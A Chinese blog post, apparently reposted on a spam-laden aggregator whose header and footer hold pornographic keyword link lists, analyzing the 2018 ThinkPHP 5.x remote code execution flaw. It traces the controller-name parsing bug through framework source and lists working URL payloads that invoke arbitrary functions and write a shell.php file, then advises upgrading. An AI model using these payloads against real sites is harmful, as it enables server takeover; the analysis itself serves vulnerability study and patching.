日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > php >内容正文

php

php5.2 get漏洞,ThinkPHP 5.x 远程代码getshell漏洞分析

發(fā)布時間:2023/12/19 php 22 豆豆
生活随笔 收集整理的這篇文章主要介紹了 php5.2 get漏洞,ThinkPHP 5.x 远程代码getshell漏洞分析 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

引言

ThinkPHP 是一個免費開源的,快速、簡單的面向?qū)ο蟮妮p量級PHP開發(fā)框架,因為其易用性、擴展性,已經(jīng)成長為國內(nèi)頗具影響力的WEB應用開發(fā)框架。

本次ThinkPHP5.x漏洞爆出時間大約是2018-9月,尚處于 0day 階段時就已經(jīng)被用于攻擊多個虛擬貨幣類、金融類網(wǎng)站;直到2018-10-8號左右才被廣泛傳開,殺傷力太大,無條件執(zhí)行代碼,我的幾個項目也緊急的升級,有驚無險。

ThinkPHP 5.0.x < 5.0.23

ThinkPHP 5.1.x < 5.1.31

漏洞分析我是第一時間在T00ls上看的,現(xiàn)在已經(jīng)全網(wǎng)到處都是了。

漏洞分析

該漏洞出現(xiàn)的原因在于ThinkPHP5框架底層對控制器名過濾不嚴,從而讓攻擊者可以通過url調(diào)用到ThinkPHP框架內(nèi)部的敏感函數(shù),進而導致getshell漏洞。

漏洞點在Module.php,先調(diào)用的exec函數(shù),初始化類時調(diào)用init()從$this->dispatch獲取$controller和 $this->actionName的值然后進入exec函數(shù)。

public function init()

{

parent::init();

$result = $this->dispatch;

.........................

$controller = strip_tags($result[1] ?: $this->rule->getConfig('default_controller'));

$this->controller = $convert ? strtolower($controller) : $controller;

// 獲取操作名

$this->actionName = strip_tags($result[2] ?: $this->rule->getConfig('default_action'));

// 設置當前請求的控制器、操作

$this->request

->setController(Loader::parseName($this->controller, 1))

->setAction($this->actionName);

return $this;

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

publicfunctioninit()

{

parent::init();

$result=$this->dispatch;

.........................

$controller=strip_tags($result[1]?:$this->rule->getConfig('default_controller'));

$this->controller=$convert?strtolower($controller):$controller;

// 獲取操作名

$this->actionName=strip_tags($result[2]?:$this->rule->getConfig('default_action'));

// 設置當前請求的控制器、操作

$this->request

->setController(Loader::parseName($this->controller,1))

->setAction($this->actionName);

return$this;

}

先調(diào)用的exec函數(shù),初始化類時調(diào)用init()從$this->dispatch獲取$controller和 $this->actionName的值然后進入exec函數(shù)。

public function exec()

{

// 監(jiān)聽module_init

$this->app['hook']->listen('module_init');

try {

// 實例化控制器

$instance = $this->app->controller($this->controller,

$this->rule->getConfig('url_controller_layer'),

$this->rule->getConfig('controller_suffix'),

$this->rule->getConfig('empty_controller'));

} catch (ClassNotFoundException $e) {

throw new HttpException(404, 'controller not exists:' . $e->getClass());

}

$this->app['middleware']->controller(function (Request $request, $next) use ($instance) {

// 獲取當前操作名

$action = $this->actionName . $this->rule->getConfig('action_suffix');

if (is_callable([$instance, $action])) {

// 執(zhí)行操作方法

$call = [$instance, $action];

// 嚴格獲取當前操作方法名

$reflect = new ReflectionMethod($instance, $action);

$methodName = $reflect->getName();

$suffix = $this->rule->getConfig('action_suffix');

$actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;

$this->request->setAction($actionName);

// 自動獲取請求變量

$vars = $this->rule->getConfig('url_param_type')

? $this->request->route()

: $this->request->param();

} elseif (is_callable([$instance, '_empty'])) {

// 空操作

$call = [$instance, '_empty'];

$vars = [$this->actionName];

$reflect = new ReflectionMethod($instance, '_empty');

} else {

// 操作不存在

throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');

}

$this->app['hook']->listen('action_begin', $call);

$data = $this->app->invokeReflectMethod($instance, $reflect, $vars);

return $this->autoResponse($data);

});

return $this->app['middleware']->dispatch($this->request, 'controller');

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

publicfunctionexec()

{

// 監(jiān)聽module_init

$this->app['hook']->listen('module_init');

try{

// 實例化控制器

$instance=$this->app->controller($this->controller,

$this->rule->getConfig('url_controller_layer'),

$this->rule->getConfig('controller_suffix'),

$this->rule->getConfig('empty_controller'));

}catch(ClassNotFoundException$e){

thrownewHttpException(404,'controller not exists:'.$e->getClass());

}

$this->app['middleware']->controller(function(Request$request,$next)use($instance){

// 獲取當前操作名

$action=$this->actionName.$this->rule->getConfig('action_suffix');

if(is_callable([$instance,$action])){

// 執(zhí)行操作方法

$call=[$instance,$action];

// 嚴格獲取當前操作方法名

$reflect=newReflectionMethod($instance,$action);

$methodName=$reflect->getName();

$suffix=$this->rule->getConfig('action_suffix');

$actionName=$suffix?substr($methodName,0,-strlen($suffix)):$methodName;

$this->request->setAction($actionName);

// 自動獲取請求變量

$vars=$this->rule->getConfig('url_param_type')

?$this->request->route()

:$this->request->param();

}elseif(is_callable([$instance,'_empty'])){

// 空操作

$call=[$instance,'_empty'];

$vars=[$this->actionName];

$reflect=newReflectionMethod($instance,'_empty');

}else{

// 操作不存在

thrownewHttpException(404,'method not exists:'.get_class($instance).'->'.$action.'()');

}

$this->app['hook']->listen('action_begin',$call);

$data=$this->app->invokeReflectMethod($instance,$reflect,$vars);

return$this->autoResponse($data);

});

return$this->app['middleware']->dispatch($this->request,'controller');

}

在$this->app->controller中將$this->controller進行實例化,跟進$this->app->controller。

$instance = $this->app->controller($this->controller,

$this->rule->getConfig('url_controller_layer'),

$this->rule->getConfig('controller_suffix'),

$this->rule->getConfig('empty_controller'));

public function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '')

{

list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuffix);

if (class_exists($class)) {

return $this->__get($class);

} elseif ($empty && class_exists($emptyClass = $this->parseClass($module, $layer, $empty, $appendSuffix))) {

return $this->__get($emptyClass);

}

throw new ClassNotFoundException('class not exists:' . $class, $class);

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

$instance=$this->app->controller($this->controller,

$this->rule->getConfig('url_controller_layer'),

$this->rule->getConfig('controller_suffix'),

$this->rule->getConfig('empty_controller'));

publicfunctioncontroller($name,$layer='controller',$appendSuffix=false,$empty='')

{

list($module,$class)=$this->parseModuleAndClass($name,$layer,$appendSuffix);

if(class_exists($class)){

return$this->__get($class);

}elseif($empty&&class_exists($emptyClass=$this->parseClass($module,$layer,$empty,$appendSuffix))){

return$this->__get($emptyClass);

}

thrownewClassNotFoundException('class not exists:'.$class,$class);

}

$this->parseModuleAndClass對傳入的controller進行解析,返回解析出來的class以及module。可以看到如果$name以\開頭就將name直接作為class,再返回到controller函數(shù)中將$class實例化成object對象,返回給exec函數(shù)中的$instance。

protected function parseModuleAndClass($name, $layer, $appendSuffix)

{

if (false !== strpos($name, '\\')) {

$class = $name;

$module = $this->request->module();

} else {

if (strpos($name, '/')) {

list($module, $name) = explode('/', $name, 2);

} else {

$module = $this->request->module();

}

$class = $this->parseClass($module, $layer, $name, $appendSuffix);

}

return [$module, $class];

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

protectedfunctionparseModuleAndClass($name,$layer,$appendSuffix)

{

if(false!==strpos($name,'\\')){

$class=$name;

$module=$this->request->module();

}else{

if(strpos($name,'/')){

list($module,$name)=explode('/',$name,2);

}else{

$module=$this->request->module();

}

$class=$this->parseClass($module,$layer,$name,$appendSuffix);

}

return[$module,$class];

}

最后就是調(diào)用invokeArgs進行反射調(diào)用類中的方法了。

有了任意調(diào)用類的方法,我們就只需要找一下可以從那些類進行觸發(fā),主要看看\thinkphp\library\think\App.php中的,invokeFunction。

ThinkPHP 5.0.x漏洞invokeFunction

public static function invokeFunction($function, $vars = [])

{

$reflect = new \ReflectionFunction($function);

$args = self::bindParams($reflect, $vars);

// 記錄執(zhí)行信息

self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');

return $reflect->invokeArgs($args);

}

1

2

3

4

5

6

7

8

9

10

publicstaticfunctioninvokeFunction($function,$vars=[])

{

$reflect=new\ReflectionFunction($function);

$args=self::bindParams($reflect,$vars);

// 記錄執(zhí)行信息

self::$debug&&Log::record('[ RUN ] '.$reflect->__toString(),'info');

return$reflect->invokeArgs($args);

}

ThinkPHP 5.1.x漏洞invokeFunction

public function invokeFunction($function, $vars = [])

{

try {

$reflect = new ReflectionFunction($function);

$args = $this->bindParams($reflect, $vars);

return call_user_func_array($function, $args);

} catch (ReflectionException $e) {

throw new Exception('function not exists: ' . $function . '()');

}

}

1

2

3

4

5

6

7

8

9

10

11

12

publicfunctioninvokeFunction($function,$vars=[])

{

try{

$reflect=newReflectionFunction($function);

$args=$this->bindParams($reflect,$vars);

returncall_user_func_array($function,$args);

}catch(ReflectionException$e){

thrownewException('function not exists: '.$function.'()');

}

}

都是對傳入的$function以及$var進行動態(tài)調(diào)用,直接傳入?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1即可。

漏洞復現(xiàn)

payload如下:

?s=index/\think\Request/input&filter=phpinfo&data=1

?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php %20phpinfo();?> #在shell.php中寫入phpinfo

?s=index/\think\view\driver\Php/display&content=<?php %20phpinfo();?> #linux下使用

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

1

2

3

4

5

?s=index/\think\Request/input&filter=phpinfo&data=1

?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php %20phpinfo();?>#在shell.php中寫入phpinfo

?s=index/\think\view\driver\Php/display&content=<?php %20phpinfo();?>#linux下使用

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

直接訪問即可任意代碼執(zhí)行。

漏洞防御

升級到Thinkphp最新版本,包括自動升級最新內(nèi)核版本和手動升級方法,具體看官方:https://blog.thinkphp.cn/869075 。

總結(jié)

以上是生活随笔為你收集整理的php5.2 get漏洞,ThinkPHP 5.x 远程代码getshell漏洞分析的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 福利小视频 | 在线观看欧美 | 日本后进式猛烈xx00动态图 | 欧美福利视频 | 免费视频中文字幕 | 美女131爽爽爽 | 成人高潮片 | 成人蜜桃av| av精选| 亚洲成人免费在线视频 | 蜜臀尤物一区二区三区直播 | 欧美日韩色 | 熟女人妻aⅴ一区二区三区60路 | 欧美人体视频 | av官网在线观看 | 日本人添下边视频免费 | 国产馆在线观看 | 8x8x最新网址 | 中文字幕在线观看播放 | 爱福利视频一区二区 | 日皮毛片 | 尤物av无码色av无码 | 国产精品久久久久久久久久久久久久久久久 | 精品国产AV色欲天媒传媒 | 91社区在线播放 | 神马午夜嘿嘿 | 婷婷tv| 肉嫁高柳在线 | 黄色三级免费观看 | 97久久久 | www.com亚洲| 日韩精品一区二区三区高清免费 | 国产视频一区三区 | 久久久国产精品x99av | 国产二级片 | 亚洲天堂av线 | 强伦人妻一区二区三区视频18 | 久久阁| 久久桃色 | 喷水了…太爽了高h | 性xxxx搡xxxxx搡欧美 | 蜜桃综合 | 美女的隐私免费看 | 国产免费av网站 | 国产又粗又猛又爽又 | 很色的网站 | 在线观看中文字幕一区二区 | 中文字幕日韩精品在线观看 | 阿v视频在线免费观看 | 国产冒白浆 | av在线亚洲天堂 | 樱花影院电视剧免费 | 欧美亚洲激情视频 | 悟空影视大全免费高清观看在线 | 毛片av在线| 国产精品三级在线 | 九九免费视频 | 啪啪av导航 | 免费超碰在线 | 中日韩在线观看视频 | 亚洲图片自拍偷拍区 | 少妇做爰xxxⅹ性视频 | 今天最新中文字幕mv高清 | 亚洲图片欧美色图 | 日本特黄特色aaa大片免费 | 免费观看一区二区三区毛片 | 四虎精品欧美一区二区免费 | 日韩欧美在线精品 | 国产二区三区 | 进去里在线观看 | 夜夜摸夜夜操 | 麻豆传媒在线免费 | 亚洲无吗视频 | 亚洲欧美日韩中文字幕在线观看 | 免费在线你懂的 | 三级av网址 | 丰满人妻一区二区三区免费视频棣 | 波多野结衣欧美 | 可以直接看的毛片 | 国产精品一区一区三区 | 欧美黄在线观看 | 不卡av电影在线 | 91亚洲精华 | 长篇高h乱肉辣文 | 18xxxx日本| 亚洲精品网站在线播放gif | 国产黄色片在线 | 国产精品天天操 | 国产一区不卡在线观看 | 亚洲jizzjizz日本少妇 | 久久久久久久久久久久久久久久久久久久 | 国产日韩视频 | 亚洲欧美变态另类丝袜第一区 | 国产精欧美一区二区三区白种人 | 精品国产免费视频 | 色九九视频 | 精品国产一区二区三区四区 | 久久久久无码精品国产sm果冻 | 女性生殖扒开酷刑vk |